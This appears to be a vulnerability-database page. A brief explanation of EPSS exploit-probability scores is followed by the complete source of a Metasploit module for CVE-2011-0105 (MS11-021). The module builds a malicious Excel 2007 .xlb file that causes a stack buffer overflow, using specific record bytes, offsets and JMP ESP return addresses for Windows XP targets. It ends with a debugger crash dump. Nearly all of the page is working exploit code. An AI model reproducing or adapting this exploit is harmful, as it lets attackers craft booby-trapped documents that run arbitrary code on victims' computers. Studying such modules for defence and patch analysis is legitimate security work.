The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # $Id: ms11_021_xlb_bof.rb 14172 2011-11-06 20:16:34Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in Excel of Microsoft Office 2007. By supplying a malformed .xlb file, an attacker can control the content (source) of a memcpy routine, and the number of bytes to copy, therefore causing a stack- based buffer overflow. This results aribrary code execution under the context of user the user. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 14172 $", 'Author' => [ 'Aniway', #Initial discovery (via ZDI) 'abysssec', #RCA, poc 'sinn3r', #Metasploit 'juan vazquez' #Metasploit ], 'References' => [ ['CVE', '2011-0105'], ['MSB', 'MS11-021'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-121/'], ['URL', 'http://www.abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/'] ], 'Payload' => { 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'ExitFunction' => "process", 'DisablePayloadHandler' => 'true', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Win XP SP3 (Vista and 7 will try to repair the file) ['Microsoft Office Excel 2007 on Windows XP', {'Ret' => 0x3006A48D }], # JMP ESP in EXCEL (Office 2007) ['Microsoft Office Excel 2007 SP2 on Windows XP', {'Ret'=>0x3006b185}], #JMP ESP in excel ], 'Privileged' => false, 'DisclosureDate' => "Aug 9 2011", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.xlb']) ], self.class) end def exploit path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-0105.xlb') f = File.open(path, 'rb') template = f.read f.close p = payload.encoded # Offset 1556 record = '' record << "\xa7\x00" #record type record << "\x04\x00" #record length if target.name =~ /Excel 2007 SP2/ # Microsoft Office Excel 2007 SP2 record << "\xb0\x0d\x0c\x00" #data else record << "\xb0\x0f\x0c\x00" #data end # Offset 1564 continue_record = '' continue_record << "\x3c\x00" #record type continue_record << [p.length+32].pack('v') #length buf = '' buf << template[0, 1556] buf << record buf << continue_record buf << rand_text_alpha(1) buf << [target.ret].pack('V*') buf << "\x00"*12 buf << p buf << template[2336, template.length] file_create(buf) end end =begin 0:000> r eax=41414141 ebx=00000000 ecx=00000006 edx=008c1504 esi=0000007f edi=00000005 eip=301a263d esp=00137ef8 ebp=00137f6c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 EXCEL!Ordinal40+0x1a263d: 301a263d 8908 mov dword ptr [eax],ecx ds:0023:41414141=???????? 0:000> dc esp 00137ef8 00000000 00000000 41414141 41414141 ........AAAAAAAA 00137f08 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00137f18 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00137f28 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00137f38 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00137f48 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00137f58 41414141 41414141 41414141 00000000 AAAAAAAAAAAA.... 00137f68 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA =end